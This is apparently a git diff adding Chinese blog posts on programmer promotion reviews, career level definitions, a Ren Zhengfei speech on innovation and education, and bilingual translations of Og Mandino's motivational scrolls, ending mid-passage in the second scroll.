腾讯的职级系统有26个职业通道，如果你是一个一张白纸，没有任何职业能力的毕业生，可以从这个26个通道，比如行政、财务、设计、运维、开发、运营、产品…….的任何一个1-1级开始，修炼，打怪升级，直到千万年薪。如同一个完整的人生指引。横轴是26个职业通道，专业技能各不相同，纵轴是4个大层级。 + +通过职级的设定，大部分员工不需要更换工作，就可以在已有的岗位上通过自己的技术提升及项目贡献获得更高的级别，从而得到薪资的提高、专业能力的肯定及个人的专业声望。大公司的职级通常也得到业界大范围的认可，事实上也可以在多个公司之间平移。因此程序员可以在不改变工作岗位的前提下获得一个长期成长的通道。缺乏明确的成长通道也是大量小公司留不住人的一个困境，在小公司中，**由于缺乏透明的、稳定的职级通道以及配套的薪酬体系**，造成大量资深员工流失。 + +在公司有合适上升通道的情况下，工程师每年都有机会从当前职级晋升到更高的职级。在大部分公司里，对于高阶的晋升，会由公司相关权威专家组成的评审小组（通常是公司的技术委员会）来进行；低阶的晋升可以由员工的直接或者跨级上级决定。本文讨论场景主要是需要评审小组审批、候选人需要答辩的晋升，它要求候选人有更高的**综合能力、专业影响力、展示能力及逻辑表达能力**等。每年的年底也是大部分公司晋升评定的时间，因此本文谈谈对于晋升各种问题的看法。 + +本文主要是针对程序员的情况进行探讨，但所有技术工种如测试、运维以及其他专业工作岗位的人员如产品经理也大多同理。 + +Q: 晋升的申请材料怎么写？ + +当你思考晋升材料怎么写的时候，说明你已经获得了晋升的机会，这在很多公司里不是一个容易的机会。管理层通常只从符合条件的人员列表中挑选部分优秀的人员进行晋升提名，因此当上级跟你沟通这次机会的时候，说明你半只脚已经踏入了新的一个职级。 + +晋升无非是评估候选人的专业能力是否满足高一个等级的技术要求，候选人需要**通过自己的参与项目的贡献**，比如业务价值、技术成就、技术影响力等，来**证明技术能力的提升**达到更高级别的要求，项目贡献及技术提升两者缺一不可，因此晋升材料主要围绕这两个中心来展开。中级的晋升主要看岗位的成绩及贡献。高端的岗位可以归纳成公司级专家及行业专家。公司级专家指精通公司业务相关核心技术，在相关领域有较好积累，并且做出独到的贡献。行业专家则需要相关专业能力具有行业的领先能力，并且专业能力最好属于公司的核心技术。 + +Q: 每一级别的评估标准是什么？ + +在大部分公司一样中，每个技术等级会有相关的要求，比如技术能力、影响能力、协作能力等。在评审阶段，评委会根据要求进行候选人评估。在实践上，也有很多采用**标杆人物对比**的方法。评委集体选择几名处于相应级别最低能力、中等能力、和较高能力的在职员工，与申请人相对比，如果申请人处于这些标杆之中，正常应该处于中间能力人左右，则认为候选人符合条件，如果候选人处于最低能力以下，则认为候选人不符合申请相应的职级。 + +评估标准在人力资源领域比较知名的是Hay的评估方法，它对所有岗位的职级都适用，据说华为就是直接引入Hay的职级体系。 + +![](/uploads/2019/06/06-06.jpg) + +互联网公司的级别，最容易理解的程序员职级可以按下列方法来区分（如腾讯、新浪等公司）： + ++ Level 1: 能在他人指导下完成工作； ++ Level 2: 能独立完成业务所需常见工作； ++ Level 3: 能规划及完成业务所需常见项目，并能指导他人完成； ++ Level 4: 公司及行业专家； + +在操作层面上，每个级别会进一步继续细分几个子级别。当然这种划分方法只是从某一个维度去划分，实际要考虑的因素更多，大多也会落到Hay的体系上去。 + +不少公司并没有明文各个等级的详细要求，候选人在不能确定更高职级的明确要求的情况下，可以自己借鉴上面标杆对比的做法，检查自己与更高职级人员差别的方法来准备自己的晋升材料。 + +Q: 晋升有什么好处？ + +获得薪资及其他福利提升。越是正规的公司，**薪酬范围跟职级是严格对应**的，每个员工的薪酬会落到所在职级的薪酬范围内。尽管也有个别人员由于岗位的特殊性或稀缺性，出现薪酬与职级范围不匹配的情况。因此大部分人员，提升职级是获得薪酬提升最自然的方法。另外，大部分公司中，股票期权等福利需要员工满足一定职级的门槛才能获得，比如符合上述分类的Level 3的条件。 + +晋升在公司里面自然可以获得更好的专业能力的肯定及个人的专业声望；一些重要的项目，通常会由高级别的专业人员来带领及指导，高级别的人员通常可以获得更多历练的机会。 + +晋升还可以获得业界的声望及认可，大公司的职级通常也得到业界大范围的认可，在更换工作时候，至少可以在另外一家公司获得平级的职级。 + +Q: 技术晋升中技术能力与非技术业务能力的比重？ + +技术能力还是非技术的业务能力是评委以及管理层纠结的问题，有不少案例是候选人能非常好的完成岗位任务，工作积极主动，但是技术方面略逊一筹，而且进展较慢。通常管理层很希望这种人能得到晋升，毕竟这些人员是达成业务任务非常需要的人员。但从另外一个角度去看，技术晋升它不是项目贡献排行，**原则上需要候选人在技术上有明显的提升，能够利用对技术更深理解去提升效率或进行技术创新，更好的解决未来面临的问题**。而且放到业界，技术人员（非管理岗）也是按技术能力高低来决定薪资及等级的，所以评判是否有技术能力的提升是候选人能否得到晋级的一个刚性条件。 + +Q: 怎么看待某些人员专业能力与业务贡献脱节的问题？ + +一些团队可能会存在脱离业务研究技术的人，对参与项目漠不关心。纯粹脱离公司环境的业务去研究技术在大部分组织里面是比较有争议的。在这些人员技术能力有明显提高的情况下，如果继续给这种人晋升会不会带来一些负面的问题，比如会诱导其他工程师脱离业务去研究技术。因此比较好的方法是评判候选人**是否通过项目贡献体现了技术提升**。这样脱离公司环境去打怪的人员自然就没有了生存土壤。另外，管理层从公平性的角度出发，可以设置晋升准入条件，比如绩效需要达到某个优秀分以上。 + +Q：直接上级是否可以决定下属是否晋升？ + +在大部分公司中，对于低阶职级的候选人，直接上级及跨级上级能发挥较大影响力，大多可以由直接或者跨级上级来决定。而**越高阶的晋升，直接上级发挥的作用越小**，通常由公司级别的专家小组来进行评审。因此高职级的同学在日常的工作中，需要更好的平衡上级的要求及合理的技术架构之间的关系，尽可能的多的具备独立思考的能力，更多的利用技术驱动项目带来贡献，并进一步体现自己的技术成绩。 + +Q: 评审时时候评委喜欢提的问题？ + +项目的难点，评委主要通过这些问题来判断候选人面对**复杂问题的应对能力**。由于是技术答辩，候选人应该尽量多的将问题放在重大技术问题的解决上。 + +项目的技术贡献，候选人通常会通过项目进度的方式描述如何参与项目，但评委比较关注候选人的技术输出以及技术含量。 + +项目中的个人贡献，原理同上，不少候选人参与过一些大的公司明星项目，因此对晋升答辩比较自信，但如果只是在大项目中做一些辅助执行类的工作，通常也不会得到较大的认可，反而会造成材料假大空的印象。 + +Q：怎样看待评委的刁难问题？ + +候选人用朴素的方法来介绍自己的项目，尽量客观的方法来描述自己的成绩。当被问及刁难及质疑性问题时候，尽量**不要有防卫心态**，不要将自己的项目中的不足设法合理化，心平气和的接受评委看到的不足。 + +Q: 评审时候选人容易忽略的问题 + +指导及影响他人的能力。在一个组织里面，独行侠未必能得到好评，帮助及带领周围技术人员一起成长会更容易得到认可及欢迎。 + +非岗位要求的贡献。能够按照岗位的要求完成工作只能满足合格的水平，主动思考及完成超出岗位要求的工作更容易得到高分。 + +Q: 我工作很努力，经常加班，是否必定会晋升？ + +没有直接关系。评审主要看技术能力提升、技术贡献及通过技术获得的成就。与是否努力是否加班没有必然关系。当然，工作努力的人员通常也通过更多时间投入在技术领域获得了比较好的成长，因此有更大的晋升可能。 + +Q: 我在我的team里面公认是技术能力最强的，甚至别的部门一些职级能力高的能力不如我，是否必定会得到晋升？ + +这种案例失败概率还是不低，关键点还是看候选人**近期项目是否能充分体现出高级别所具备的能力**，如果候选人近期做了很多零散工作，虽然具备很强的技术能力，也较难得到一个合格的分数。 + +Q: 我刚毕业，怎么才能获得快速的职级晋升？ + +刚毕业的同学还是更多的学好基础的知识，乐于学习，更多的参与实践，在工作中发挥更大的价值，不要刻意追求晋升与否。晋升更多的是一个能力到达的伴随物而不是追求的目标。如果你具备以上素质及习惯，即使在当前企业未得到认可，可以在一另外一个的环境得到实现，只是一个短暂的时间差问题。 + +Q：我公众场合的展示及表达能力不强怎么办？ + +大多评委也是技术背景出身，因此对展示表达能力并不是特别在意，反而过于华丽的展示材料会引起评委反感。但在另外一个方面，展示材料的层次关系、论证问题的因果关系的**逻辑需要得到清晰的表达**。评委不会特别介意候选人念稿，但是会介意材料结构及逻辑混乱。 + +Q: 应该以什么样的心态去看晋升？ + +晋升大多时候是个僧多粥少的游戏，而且评审的价值观也存在单一的可能，在有限的评审时间，考虑到准备的充分与否，候选人对于评审重点的理解等，未必每一个候选人都能得到合适的展示。评委也很难在短时间对候选人进行充分了解，因此**评审通过与否未必能完全体现候选人的能力**。 + +候选人最重要的是调整好自己心态，“不以物喜，不以己悲”，明白自己核心价值所关注的事情（参看拙作[选择学习目标的方法与自然法则](https://mp.weixin.qq.com/s?__biz=MzA5MTE0MDUxMA==&mid=211609137&idx=1&sn=61914bf75aa4c381b8e22da07d92dc11&scene=21#wechat_redirect)），将更多的精力投入到自己关注的事情上去，并产生相应的成果及影响，这个比一个晋升结果意义要大得多。晋升评审可以视为是一个职场游戏，不少得到晋升的人员后面无所成就的案例也是层出不穷。大部分情况下，晋升通过与否仅是薪资的一个损失，只要候选人明确及坚持自己的目标，其他包括个人能力，职业生涯、个人影响力基本没有实质性的影响。 + +# 参考 ++ [程序员晋升攻略](https://mp.weixin.qq.com/s?__biz=MzA5MTE0MDUxMA==&mid=404382284&idx=1&sn=87f0cdcb5c41bb556304b0bfb038f4ee&scene=4#wechat_redirect) \ No newline at end of file diff --git a/_posts/2019-06-06-413-career-planning.md b/_posts/2019-06-06-413-career-planning.md new file mode 100644 index 0000000..35f11c2 --- /dev/null +++ b/_posts/2019-06-06-413-career-planning.md @@ -0,0 +1,69 @@ +--- +layout: post +title: 程序员的成长阶梯和级别定义 +pid: 413 +tags: [岗前培训] +--- + +近月，公司召开了今年的「武林大会」—— 年度晋升评比。如今大会落幕，尘埃落定，我呢既作为评委又作为选手参加了这次大会，有些感想在这里简单写下。 + +随着公司发展壮大，研发人员数量也日趋庞大（6k+），每个人如何成长，发展，修炼，打怪升级不仅是自身不可回避的命题，也是公司的一个重要命题。在互联网这行以 BAT 为首逐步发展出了自身成熟并成型的技术人员晋升体系和级别定义。例如：B 厂从 T1 到 T10，A 厂从 P1 到 P11，T 厂分四个大级别(T1 ~ T4)每个大级别内部再细分若干小级别。但不管如何划分，我感觉从自身的成长过程来回顾，总体还是能分出几个有明显界线的阶段。 + +## 初级 + +刚入职场的新人一般都在这个级别了。这一点倒是不区分本科还是硕士，比如我第一家公司硕士毕业进去算初级工程师，本科是助理工程师。而公司对于刚毕业的同学的级别定义也是类似，本科 T1-1，硕士 T1-2。大级别都是 T1，小级别上的细分区分可能也就是在薪酬起点上略有不同（别问我差多少，我也不知道，但估计差距不大）。遥想当年刚毕业那会儿参加校园宣讲，T 厂来学校宣讲，本科年薪是 6万，硕士 8 万，博士 10 万，而当时华为统一给硕士比本科每月高一千，我估摸现在的相对差距应该也差不多这样吧。 + +仅仅从年收入差距来看读硕读博是个很不划算的选择，而恰恰很多人选择读硕就是为了能有一个更好的工作选择，而选择的标准也还恰恰就是薪酬占据主导方面，这貌似就是一个误区啊。当然你也可以为了学术梦想去读，但我估摸这样的人千中无一吧。去年看了期《奇葩说》，一个清华男从本科读到博士，跑去节目上说了半天就是为找什么工作而苦恼，惹得同为清华出生的矮大紧同学当场发飙。而同为点评嘉宾的蔡康永说了句是实在话： + +> 一直花时间求学，也许是为了拖延人生做决定的时间。 + +说了那么多其实就是无论本科还是硕士，作为程序员初入职场都是新手，要从最基本的学起做起，比如：学习并熟悉公司常用的开发技术、涉及的工具和框架，熟悉公司的开发流程规范等等。也许博士会稍有不同，但可能也要取决于所处的领域和学术成就是否刚好处在业界的风口上，比如最近随着 AlphaGo 不断升温的 AI 领域。 + +## 中级 + +要说中级和初级最本质的区分是什么，我觉得体现在独立性方面。初级的同学刚进公司，一般还会给安排一对一的导师帮助其快速上手，所以很多初级的同学在工作上就对导师存在依赖性。而工作一段时间（1、2年吧）后，他们对公司的各种开发流程规范已经相当熟悉，熟悉其参与项目中的部分业务、产品和代码，能够按要求完成业务功能开发。 + +所以中级的工程师基本能够独立承担开发工作，甚至有些还能指导新人了，成长为公司「动作执行」层面的中坚力量。这个层面的基本要求就是：**完成动作、达成品质、优化效率**。但观察下来这个级别的工程师多数都能做到完成，但品质可能有瑕疵，效率上甚至可能有缺陷。而关于效率和品质总是在不断的迭代和改进中去不断完善的，自身也在这个过程不断成长向着下一个阶梯迈进。 + +而不少人卡在这一阶段，就是因为虽然不断的在完成工作，但却没有去反思，沉淀，迭代并改进，导致一直停留在了不断的重复中。 + +## 高级 + +这个级别基本属于能独立负责某个小项目或大项目中的子系统或模块，自己是项目的骨干成员，属于团队或项目中最大的个人贡献者。 + +相比于中级，高级工程师在「动作执行」层面属于攻坚力量，不仅能独立完成高级难度的开发任务，而且在用户体验（品质提升）和性能优化（优化效率）都能作更全面的考量。不仅对开发任务完成的又快又好而且还能能清晰的定义出多快多好。比如，一个服务的响应时间 99.9% 的响应是 20 毫秒内，内存消耗估计不超过 1G，并发吞吐每秒 10000，类似能用清晰的数据来定义服务品质和效率。 + +## 资深 + +这个级别有些叫「**资深工程师**」，有些叫「**架构师**」，而不同的叫法代表了两种不同的发展方向。在基础研发、算法或特定技术复杂领域会向「资深工程师」方向发展，属于深度优先。而在面向业务开发的领域，业务复杂度高于技术复杂度，则会向「架构师」方向发展，属于广度优先。 + +不管是深度还是广度，进入这个级级说明在特定领域都已经具备了相当的积累，在项目和团队中担任技术骨干。除了自身专业知识、技能和实践经验的积累，还能够从中总结沉淀出有效的方法论，引导和组织团队成员一起进行推广应用。积极主动的输出自身经验，为跨团队项目提供技术支持。 + +很多工作有一定年头的高级工程师卡在迈入这个级别的门槛边，我觉得有两个原因，一方面是自身虽然各种实战经验丰富，但却没有系统的去梳理自己多年的积累，未能很好的形成体系。所谓体系也这就是上面所说的沉淀出有效的方法论，有效方法论的最大作用是帮助快速决策，而且决策的正确概率还会比较高。另一方面，就是其虽胸有块垒，腹藏千言却倒不出来，出现明显的瓶颈效应，造成的负面作用就是很难对其「资深」的程度作出有效评定。 + +## 专家 + +技术专家一般在公司领衔重大技术项目，而且在其细分的技术领域，于业界也有公认的影响力。以「家」冠名会让人感觉遥不可及，高不可攀。实际「家」也分大小，一般的「大家」实际都是稀世珍宝，举国稀有的，确实是遥不可及，但也有「小家」相对来说就没那么遥远。 + +而专家总和影响力挂钩，影响力听起来很虚，那换个相对实的角度说说影响力。作为一个 Java 程序员，在学习使用 Java 的过程中总有那么几个人，你不仅要去读他们的书还要去看并且使用他们写的代码，在 Java 这个领域你总是绕不过去。那么这就是他们在这个领域实实在在的影响力，自然也是这个领域的专家。所以，专家可能就是这个领域内你绕不过去的人吧。 + +## 评定 + +有了级别的定义，那么如何来评定一个人到底属于怎样的级别呢？这点在低级别的评定中标准会相对宽松，而越往高级别走越难评定。对于不同级别的评定标准一些大公司（如：T 厂）都定义了覆盖多个维度的评判标准，并给出了详尽的说明。对于高阶的晋升会由公司专家评审小组来组织晋升述职答辩，评审小组的评委就是根据这些多维度的标准来做出一个综合的评判。 + +这里多维度的标准是客观的，而评委的评判则是主观的。这就好像奥运比赛中类似跳水这样的项目，有规定的动作、组别和技术难度系数，这些都是客观标准，这对于运动员的完成情况的评判会有一些共识的判断，但细微之处就偏主观了。如果郭晶晶和一个新秀一起参加国际大赛，她们跳同样的难度同样的组别动作，完成的同样好，但最后可能郭晶晶会得分高一点，我印象中有届奥运会上就出现过，这就是人主观评判的细微之处。 + +而实际在一场半小时的述职中评定一个程序员的级别要比给一次跳水打分难多了，而且准确性更低。正如前文所说很多「高级」的工程师虽然已经在特定领域进行了多年的沉淀积累，但这也只是第一层次：深度理解并掌握了某领域的知识和技能。下一层次则是能很好的表达和展示该领域的知识和技能并能让人容易听懂，如果做到这层的话，基本就大幅降低对你进行评定的门槛和难度。而再进一步若你对该领域的观点和认识不仅能让人听懂还能给人启发，并让人认同和被二次分享，那么你自然就具有了很多组织里对高阶人才要求的专业影响力。而在从积累沉淀中提炼观点和认识并分享的过程中，又会反过来加深你对该领域的认知，甚至还能帮助发现盲点，不断形成正向反馈的循环。 + +## 爬楼 + +职业的发展就像爬楼，每一个级别就像一个楼层。鲁迅曾在《故乡》里说： + +> 其实地上本没有路，走的人多了，也便成了路。 + +所以，前面定义出来的阶梯不过就是很多人已经走过的路，我们只需要去沿着这条路去持续成长就能爬上还算不低的楼层。只是到了一定楼层后我们会发现上面似乎还有几层但却看不见下一层的楼梯了。因为再往上走的人就不多了，也就没能成了路，自然也就看不见，这可能就是很多大公司中到了一定层次面临的困境。 + +程序员这行处在科技与互联网的日新月异之下，所以不管你之前积累了多少但也停不下来。一旦停下来了，你这洼水可能就变成了一塘死水，死水终有干涸的一天。走完看得见的路后，就该走看不见的路了，这条路谁也定义不了，只能自己去试。从这里开始每一步都是一个不同的选择，而每一种选择都影响着未来人生的不同路径。 + +# 参考 ++ [程序员的成长阶梯和级别定义](https://mp.weixin.qq.com/s?__biz=MzAxMTEyOTQ5OQ==&mid=2650610534&idx=1&sn=653dbd5b54b32f232dc86f973b30e983) \ No newline at end of file diff --git a/_posts/2019-06-10-414-cx.md b/_posts/2019-06-10-414-cx.md new file mode 100644 index 0000000..5fc7a22 --- /dev/null +++ b/_posts/2019-06-10-414-cx.md @@ -0,0 +1,56 @@ +--- +layout: post +title: 以创新为核心竞争力 为祖国百年科技振兴而奋斗 +pid: 414 +tags: [岗前培训] +--- + +《以创新为核心竞争力 为祖国百年科技振兴而奋斗》——任正非 + +从科技的角度来看，未来二、三十年人类社会将演变成一个智能社会，其深度和广度我们还想象不到。越是前途不确定，越需要创造，这也给千百万家企业公司提供了千载难逢的机会。我们公司如何去努力前进，面对困难重重，机会危险也重重，不进则退。如果不能扛起重大的社会责任，坚持创新，迟早会被颠覆。 + +# 一、大机会时代，一定要有战略耐性 + +人类社会的发展，都是走在基础科学进步的大道上的。而且基础科学的发展，是要耐得住寂寞的，板凳不仅仅要坐十年冷，有些人，一生寂寞。华为有八万多研发人员，每年研发经费中，约20-30%用于研究和创新，70%用于产品开发。很早以前我们就将销售收入的10%以上用于研发经费。未来几年，每年的研发经费会逐步提升到100-200亿美元。 + +华为这些年逐步将能力中心建立到战略资源的聚集地区去。现在华为在世界建立了26个能力中心，逐年在增多，聚集了一批世界级的优秀科学家，他们全流程地引导着公司。这些能力中心自身也在不断发展中。 + +华为现在的水平尚停留在工程数学、物理算法等工程科学的创新层面，尚未真正进入基础理论研究。随着逐步逼近香农定理、摩尔定律的极限，面对大流量、低延时的理论还未创造出来，华为已感到前途茫茫，找不到方向。 + +华为已前进在迷航中。重大创新是无人区的生存法则，没有理论突破，没有技术突破，没有大量的技术累积，是不可能产生爆发性创新的。 + +华为正在本行业逐步攻入无人区，处在无人领航，无既定规则，无人跟随的困境。华为跟着人跑的“机会主义”高速度，会逐步慢下来，创立引导理论的责任已经到来。 + +华为过去是一个封闭的人才金字塔结构，我们已炸开金字塔尖，开放地吸取“宇宙”能量，加强与全世界科学家的对话与合作，支持同方向科学家的研究，积极地参加各种国际产业与标准组织，各种学术讨论，多与能人喝喝咖啡，从思想的火花中，感知发展方向，有了巨大势能的积累、释放、才有厚积薄发。 + +内部对不确定性的研究、验证，正实行多路径、多梯级的进攻，密集弹药，饱和攻击，蓝军也要实体化。 + +并且，不以成败论英雄，从失败中提取成功的因子，总结，肯定，表扬，使探索持续不断。对未来的探索本来就没有“失败”这个名词，不完美的英雄，也是英雄。 + +鼓舞人们不断地献身科学，不断地探索，使“失败”的人才、经验继续留在我们的队伍里，我们会更成熟，我们要理解歪瓜裂枣，允许黑天鹅在我们的咖啡杯中飞起来。 + +创新本来就有可能成功，也有可能失败。我们也要敢于拥抱颠覆。鸡蛋从外向内打破是煎蛋，从里面打破飞出来的是孔雀。现在的时代，科技进步太快，不确定性越来越多，我们也会从沉浸在产品开发的确定性工作中，加大对不确定性研究的投入，追赶时代的脚步。 + +我们鼓励我们几十个能力中心的科学家、数万专家与工程师加强交流，思想碰撞，一杯咖啡吸收别人的火花与能量，把战略技术研讨会变成一个“罗马广场”，一个开放的科技讨论平台，让思想的火花燃成熊熊大火。 + +公司要具有理想，就要具有在局部范围内抛弃利益计算的精神。重大创新是很难规划出来的。固守成规是最容易的选择，但也会失去大的机会。 + +我们不仅仅是以内生为主，外引也要更强。我们的俄罗斯数学家，他们更乐意做更长期、挑战很大的项目，与我们勤奋的中国人结合起来；日本科学家的精细，法国数学家的浪漫，意大利科学家的忘我工作，英国、比利时科学家领导世界的能力……会使我们胸有成熟地在2020年销售收入超过1500亿美元。 + +# 二、用最优秀的人去培养更优秀的人 + +用什么样的价值观就能塑造什么样的一代青年。蓬生麻中，不扶自直。奋斗，创造价值是一代青年的责任与义务。 + +我们处在互联网时代，青年的思想比较开放，活跃，自由。我们要引导和教育，也要允许一部分人快乐地度过平凡一生。 + +现在华为奋斗在一线的骨干，都是80后、90后，特别是在非洲，中东疫情、战乱地区，阿富汗，也门，叙利亚……80后、90后是有希望的一代。 + +近期我们在美国招聘优秀中国留学生（财务），全部都要求去非洲，去艰苦地区。华为的口号是“先学会管理世界，再学会管理公司”。 + +我们国家百年振兴中国梦的基础在教育，教育的基础在老师。教育要瞄准未来。未来社会是一个智能社会，不是以一般劳动力为中心的社会，没有文化不能驾驭。 + +若这个时期时发生资本大规模雇佣“智能机器人”，两极分化会更严重。这时，有可能西方制造业重回低成本，产业将转移回西方，我们将空心化。即使我们实现生产、服务过程智能化，需要的也是高级技师、专家、现代农民……因此，我们要争夺这个机会。就要大规模地培养人。 + +今天的孩子，就是二、三十年后冲锋的博士、硕士、专家、技师、技工、现代农民……代表社会为人类去做出贡献。因此，发展技术的唯一出路在教育 ，也只有教育。我们要更多关心农村老师与孩子。让老师成为最光荣的职业，成为优秀青年的向往，用最优秀的人去培养更优秀的人。 + +这次能够在大会上发言，对华为也是一次鼓励和鞭策。我们将认真领会习近平总书记、李克强总理重要讲话和这次大会的精神，进一步加强创新，提升核心竞争力，为祖国百年科技振兴而不懈奋斗。 \ No newline at end of file diff --git a/_posts/2019-06-12-415-the-scroll-marked01.md b/_posts/2019-06-12-415-the-scroll-marked01.md new file mode 100644 index 0000000..c2fa393 --- /dev/null +++ b/_posts/2019-06-12-415-the-scroll-marked01.md @@ -0,0 +1,122 @@ +--- +layout: post +title: 羊皮卷 第一道 +pid: 415 +tags: [羊皮卷] +--- + + + +The Scroll Marked One + +第一道羊皮卷 + +[1:1] + +Today I begin a new life. + +今天，我天始新的生活。 + +[1:2] + +Today I shed my old skin, which has too long suffered the bruises of failure and the wounds of mediocrity. + +今天，我爬出满是失败创伤的老茧。 + +[1:3] + +Today I am born anew and my birthplace is a vineyard where there is fruit for all. + +今天，我重新来到这个世上，我出生在葡萄园中，园中的葡萄任人享用。 + +[1:4] + +Today I will pluck grapes of wisdom from the tallest and fullest vines in the vineyard, for these were planted by the wisest of my profession who have come before me, generation upon generation. + +今天，我要从最高最密的藤上摘下智慧的果实，这葡萄藤是好几代人前的智者种下的。 + +[1:5] + +Today I will savor the taste of grapes from these vines and verily I will swallow the seed of success buried in each and new life will sprout within me. + +今天，我要品尝葡萄的美味，还要吞下每一粒成功的种子，让新生命在我心里萌牙。 + +[1:6] + +The career I have chosen is laden with opportunity yet it is fraught with heartbreak and despair and the bodies of those who have failed, were they piled one atop another, would cast a shadow down upon all the pyramids of the earth. + +我选择的道路充满机遇，也有辛酸与绝望。失败的同伴数不胜数，叠在一起，比金字塔还高。 + +[1:7] + +Yet I will not fail, as the others, for in my hands I now hold the charts, which will guide through perilous waters to shores, which only yesterday seemed but a dream. + +然而，我不会像他们一样失败，因为我手中持有航海图，可以引我越过汹涌的大海，抵达梦中的彼岸。 + +[1:8] + +Failure no longer will be my payment for struggle. Just as nature made no provision for my body to tolerate pain neither has it made any provision for my life to suffer failure. Failure, like pain, is alien to my life. In the past I accepted it as I accepted pain. Now I reject it and I am prepared for wisdom and principles which will guide me out of the shadows into the sunlight of wealth, position, and happiness far beyond my most extravagant dreams until even the golden apples in the Garden of Hesperides will seem no more than my just reward. + +失败不再是我奋斗的代价。它和痛苦都将从我的生命中消失。失败和我，就像水火一样，互不相容。我不再像过去一样接受它们。我要在智慧的引导下，走出失败的阴影，步入富足、健康、快乐的乐园，这些都超过了我以往的梦想。 + +[1:9] + +Time teaches all things to him who lives forever but I have not the luxury of eternity. Yet within my allotted time I must practice the art of patience for nature acts never in haste. To create the olive, king of all trees, a hundred years is required. An onion plant is old in nine weeks. I have lived as an onion plant. It has not pleased me. Now I wouldst become the greatest of olive trees and, in truth, the greatest of salesman. + +我要是能长生不老，就可以学到一切，但我不能永生，所以，在有限的人生里，我必须学会忍耐的艺术，因为大自然的行为一向是从容不迫的。造物主创造树中之王橄榄树需要一百年的时间，而洋葱经过短短的九个星期就会枯老。我不会留恋从前那种洋葱式的生活，我要成为万树之王——橄榄树，成为现实生活中最伟大的推销员。 + +[1:10] + +And how will this be accomplished? For I have neither the knowledge nor the experience to achieve the greatness and already I have stumbled in ignorance and fallen into pools of self-pity. The answer is simple. I will commence my journey unencumbered with either the weight of unnecessary knowledge or the handicap of meaningless experience. Nature already has supplied me with knowledge and instinct far greater than any beast in the forest and the value of experience is overrated, usually by old men who nod wisely and speak stupidly. + +怎么可能？我既没有渊博的知识，又没有丰富的经验，何况，我曾一度跌入愚昧与自怜的深渊。答案很简单。我不会让所谓的知识或者经验妨碍我的行程。造物生已经赐予我足够的知识和本能，这份天分是其它生物望尘莫及的。经验的价值往往被高估了，人老的时候开口讲的多是糊涂话。 + +[1:11] + +In truth, experience teaches thoroughly yet her course of instruction devours men's years so the value of her lessons diminishes with the time necessary to acquire her special wisdom. The end finds it wasted on dead men. Furthermore, experience is comparable to fashion; an action that proved successful today will be unworkable and impractical tomorrow. + +说实在的，经验确实能教给我们很多东西，只是这需要花费太长的时间。等到人们获得智慧的时候，其价值已随着时间的消逝而减少了。结果往往是这样，经验丰富了，人也余生无多。经验和时尚有关，适合某一时代的行为,并不意味着在今天仍然行得通。 + +[1:12] + +Only principles endure and these I now possess, for the laws that will lead me to greatness are contained in the words of these scrolls. What they will teach me is more to prevent failure than to gain success, for what is success other than a state of mind. + +只有原则是持久的，而我现在正拥有了这些原则。这些可以引导我走向成功的原则全写在这张羊皮卷里。它教我如何避免失败，而不是只获得成功，因为成功更是一种精神状态。 + +[1:13] + +In truth, the only difference between those who have failed and those who have succeed lies in the difference of their habits. Good habits are the key to all success. Bad habits are the unlocked door to failure. Thus, the first law I will obey, which precede all the others is --I will form good habits and become their slave. + +实际上，成功与失败的最大分野，来自不同的习惯。好习惯是开启成功的钥匙，坏习惯则是一扇向失败敞开的门。因此，我首先要做的便是养成良好的习惯，全心全意地去实行。 + +[1:14] + +And how will I accomplish this difficult feat? Through these scrolls, it will be done, for each scroll contains a principle. + +要怎样才能做到呢？靠这些羊皮卷就能做到。因为每一卷里都写着一个原则。 + +[1:15] + +First, I will read the words in silence when I arise. Then, I will read the words in silence after I have partaken of my midday meal. Last, I will read the words again just before I retire at day's end, and most important, on this occasion I will read the words aloud. + +清晨即起，默默诵读；午饭之后，再次默读；夜晚睡前，高声朗读。 + +[1:16] + +As I repeat the words daily they will soon become a part of my active mind, but more important, they will also seep into my other mind, that mysterious source which never sleeps, which creates my dreams, and often makes me act in ways I do not comprehend. + +当我们每天重复这些话的时候，它们成了我精神活动的一部分，更重要的是，它们渗入我的心灵。那个神秘的世界，永不停止，创造梦境，在不知不觉中影响我的行为。 + +[1:17] + +As I read and re-read the words in the scrolls to follow, never will I allow the brevity of each scroll nor the simplicity of its words to cause me to treat the scroll's message lightly. Thousands of grapes are pressed to fill one jar with wine, and the grape skin and pulp are tossed to the birds. So it is with these grapes of wisdom from the ages. Much has been filtered and tossed to the wind. Only the pure truth lies distilled in the words to come. I will drink as instructed and spill not a drop. And the seed of success I will swallow. + +当我阅读羊皮卷中的字句时，绝不能因为文字的精炼而忽视内容的深沉。一瓶葡萄美酒需要千百粒果子酿制而成，果皮和渣子抛给小鸟。葡萄的智慧代代相传，有些被过滤，有些被淘汰，随风飘逝。只有纯正的真理才是永恒的。它们就精炼在我要阅读的文字里。我要依照指示，绝不浪费，饮下成功的种子。 + +[1:18] + +Today my old skin has become as dust. I will walk tall among men and they will know me not , for today I am a new man, with a new life. + +今天，我的老茧化为尘埃。我在人群中昂首阔步，不会有人认出我来，因为我不再是过去的自己、我已拥有新的生命。 \ No newline at end of file diff --git a/_posts/2019-06-12-416-the-scroll-marked02.md b/_posts/2019-06-12-416-the-scroll-marked02.md new file mode 100644 index 0000000..923bca1 --- /dev/null +++ b/_posts/2019-06-12-416-the-scroll-marked02.md @@ -0,0 +1,134 @@ +--- +layout: post +title: 羊皮卷 第二道 +pid: 416 +tags: [羊皮卷] +--- + + + +The Scroll Marked Two + +第二道羊皮卷 + +[2:1] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:2] + +For this is the greatest secret of success in all ventures. Muscle can split a shield and even destroy life but only the unseen power of love can open the hearts of men and until I master this art I will remain no more than a peddler in the market place. I will make love my greatest weapon and none on whom I call can defend against its force. + +因为，这是一切成功的最大秘密。强力能够劈开一块盾牌，甚至毁灭生命，但是只有爱才具有无与伦比的力量，使人们敞开心扉。在掌握了爱的艺术之前，我只算商场上的无名小卒。我要让爱成为我最大的武器，没有人能抵挡它的威力。 + +[2:3] + +My reasoning they may counter; my speech they may distrust; my apparel they may disapprove; my face they may reject; and even my bargains may cause them suspicion; yet my love will melt all hearts liken to the sun whose rays soften the coldest clay. + +我的理论，他们也许反对；我的言行，他们也许怀疑；我的穿着，他们也许不赞成；我的长相，他们也许不喜欢；甚至我廉价出售的商品都可能使他们将信将疑，然而我的爱心一定能温暖他们，就像太阳的光芒能溶化冰凉的冻土。 + +[2:4] + +I will greet this day with love in my heart. + +我要用全身心的爱来迎接今天。 + +[2:5] + +And how will I do this? Henceforth will I look on all things with love and I will be born again. I will love 